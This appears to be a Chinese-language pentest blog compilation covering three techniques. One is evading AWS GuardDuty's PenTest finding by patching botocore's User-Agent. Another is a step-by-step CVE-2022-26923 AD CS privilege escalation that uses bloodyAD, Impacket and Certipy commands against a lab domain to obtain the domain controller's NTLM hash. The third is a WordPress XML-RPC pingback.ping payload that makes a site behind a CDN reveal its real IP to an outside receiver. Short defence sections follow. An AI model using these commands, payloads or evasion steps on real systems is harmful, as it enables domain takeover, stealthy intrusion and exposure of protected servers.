避免 AWS GuardDuty 偵測到 PenTest Finding

前言

如果我們使用滲透用 Liunx (Kali, Parrot, Pentoo) 去對 AWS 做滲透測試,很容易會觸發 GuardDuty 的 PenTest Finding,導致提早被抓包。

0x00 GuardDuty

Amazon GuardDuty 是一種威脅偵測服務,可持續監控您的 AWS 帳戶和工作負載是否有惡意活動,並提供詳細的安全問題清單以了解及進行修復。 – AWS

簡單來說呢,就是一個會智慧偵測威脅的服務,協助管理者發現攻擊行為。

0x01 PenTest Finding

這是 GuardDuty 偵測到的一種發現,主要是針對 IAM 這個服務去進行偵測,GuardDuty 會去偵測有沒有 IAM 相關呼叫是透過 Kali/Parrot 之類的滲透 Linux 發出請求的。

0x02 繞過 PenTest Finding

根據手冊 GuardDuty Finding Types IAM 的說法,這個發現的資料來源是 CloudTrail ,這就意味著是從 API 的呼叫紀錄去進行分析。

有了這樣的線索,我們就可以推測應該是透過 HTTP Header: User-Agent 關鍵字進行偵測,如此一來我們只要確認到底是誰會出賣我們,就可以避開這個發現了。

從 botocore 的原始碼 中可以觀察到 platform.release() 會出賣我們的發行版本

如果使用的 AWS ClI,那我們就必須直接 Patch 這行,如果是自行呼叫 botocore 是可以自訂 User-Agent,但為了方便我個人還是把他 Patch 掉,避免哪天被其他工具出賣。

CVE-2022–26923 AD CS 權限提升

前言

CVE-2022–26923 是一個利用 Machine account 具有 DNSHostName 寫入權限的特性進行提權的弱點,在紅隊演練中非常實用。

0x00 AD CS

AD CS(Active Directory Certification Authority) 是 Windows AD 所提供的憑證基礎設施服務 (PKI),可以用來管理公司內部的各種憑證(使用者/電腦/網站)。

0x01 弱點成因

Machine account 具有 DNSHostName 的寫入權限,Windows 未對此進行唯一值約束,因此我們可以把 DNSHostName 改的跟 DC 一模一樣。

接著,我們可以透過 AD CS 服務請求憑證,而 Machine account 是使用 DNSHostName 作為簽署對象,因此我們可以簽出一張 DC 的憑證。

最後,透過簽出來的憑證向 Kerberos 請求 DC 的服務票 (Service Ticket),Kerberos 使用簽屬對象作為身分識別,因此將我們誤會成 DC,讓我們獲得控制 DC 的能力。

0x02 實驗環境

  1. Domain: kuma.org
  2. Domain Controller
    • IP: 192.168.159.128
    • Name: WIN-818G5VCOLJO
  3. 低權限 Domain User

0x03 執行條件

  1. AD 尚未上 Patch
  2. AD 有安裝 CS (Certification Authority) 服務
  3. 擁有 Domain User (低權限)
  4. Domain User 具有建立 Machine Account 的權限與額度(預設:10)

0x04 獲得 Domain Machine Account

1. 本地主機提權後竊取

使用 Mimikatz 拿到 Machine 的 NTLM,之後進行 Pass the hash

2. 使用 Domain User 建立一個 Machine Account

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u bear -p '[email protected]' --host 192.168.159.128 addComputer FakePC01 'Passw0rd'

方法二: 使用 Impacket

impacket-addcomputer "kuma.org/bear:[email protected]" -method LDAPS -computer-name FakePC02\$ -computer-pass Passw0rd -dc-ip 192.168.159.128

0x05 修改 DNSHostName

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u FakePC01$ -p '[email protected]' --host 192.168.159.128 setAttribute 'CN=FakePC01,CN=Computers,DC=kuma,DC=org' DNSHostName '["WIN-818G5VCOLJO.kuma.org"]' 

方法二: 使用 AD Explorer

Active Directory Explorer 是微軟推出(併購)的 AD 維護工具

  1. 使用 FakePC02 登入 AD

  2. 因為 DNSHostName 與 ServicePrincipalName 有相依,先移除主機的 ServicePrincipalName 屬性

  3. 接著修改 DNSHostName 屬性

0x06 請求證書

使用 Certipy 請求證書

certipy req 'kuma.org/FakePC01$:[email protected]' -ca 'kuma-CA' -template 'Machine'

0x07 取得 DC 的 NTLM

使用 Certipy 取得 DC NTLM

certipy auth -pfx win-818g5vcoljo.pfx -debug -dc-ip 192.168.159.128 

0x08 如何防禦

  1. 打上 Patch
  2. 將使用者的 ms-DS-MachineAccountQuota 改為 0 (暫時性的)
  3. 收回非必要具有寫入 DNS hostname 權限的帳戶

0xFE KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

若 Certipy 在嘗試取得 TGT 時發生 「KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)」,這是因為 KDC 上未啟動 PKInit (Public Key Cryptography for Initial Authentication)

DC 可控

如果我們可以控制 DC (測試環境?),我們只要在 AD 的群組原則 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ,將 KDC support for PKInit Freshness Extension 設定為 Enable,即可啟動 PKInit

DC 不可控

可以使用 RBCD (Kerberos Resource-Based Constrained Delegation) 的攻擊手段作為替代。

0xFF 參考

  1. Active Directory Domain Privilege Escalation (CVE-2022–26923)
  2. bloodyAD and CVE-2022-26923

取得 CDN(WAF) 背後的 WordPress 真實 IP

前言

在現在 CDN (或者是 WAF) 普及的時代,架設網站沒有掛個 CDN 實在太過意不去啦,CDN 除了提升使用者體驗外,蠻多 CDN 都有提供一定程度的 WAF 防禦功能,同時也避免伺服器真實 IP 外洩而遭受 DDoS 攻擊的危害。

但是如果網站是使用 WordPress 所架設的,其實我們是可以透過 XML-RPC 來讓 WordPress 自報家門 (IP) 的呢!

0x00 XML-RPC 是啥?

簡單來說,XML-RPC 是使用 XML 格式封裝的 RPC(Remote Procedure Call) ,而 WordPress 正好有提供 XML-RPC,讓我們可以藉此操作 WordPress。

下面是一個列出支援方法的 XML-RPC

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

WordPress 的 XML-RPC 的 Endpoint 位於 https://網址/xmlrpc.php,使用 POST 的方式傳送

回傳的結果也是 XML,裡面包含了可以使用的方法

0x01 關於 Pingback

Pingback 是部落格系統中的一個機制,用於通知對方 Blog 說: 「我提到了你!」,讓對方知道有誰的 Blog 提到他的文章,這類似我們聊天中常用的 @,然而 WordPress 作為知名的 Blog 系統當然具有這個功能。

但仔細想一想,這個功能的實作是由主機所發出的,這就意味著只要能讓他戳我,我就可以獲得主機的真實 IP。

0x02 利用一下 pingback.ping

在 WordPress XML-RPC 的可用方法清單中,我們可以觀察到 pingback.ping 的存在。

而這個方法的呼叫負荷(Payload)如下

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>文章來源</string></value>
       </param>
       <param>
           <value><string>參照到的文章</string></value>
       </param>
   </params>
</methodCall>

像是本篇文章的網址為 https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/,而我的接收端為 http://pingb.in/bbbbbbbbbbbbbbbbbbbbbbbbbbbb,我們就可以把 Payload 改成下面這樣

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://pingb.in/p/bbbbbbbbbbbbbbbbbbbbbbbbbbbb</string></value>
       </param>
       <param>
           <value><string>https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/</string></value>
       </param>
   </params>
</methodCall>

送出後,我們會得到失敗的回應,但不用擔心,當然會失敗啊(畢竟接收端不是支援 Pingback 的 Blog)

我們接著就可以在接收端觀察到這次的請求

0x03 Invalid discovery target

如果回應結果中出現了 Invalid discovery target ,代表這個 Blog 啟動了 Akismet Anti-Spam 這個外掛,被擋掉啦~

0x04 如何防禦

  1. 安裝外掛 Akismet Anti-Spam 讓他幫你阻擋
  2. 寫段程式把 XML-RPC 的 pingback.ping 移除
<?php
add_filter( 'xmlrpc_methods', 
   function( $methods ) {
         unset( $methods['pingback.ping'] );
         return $methods;
   }
);

由於 pingback.ping 被我們拔掉了,當嘗試呼叫這個功能時將會發生錯誤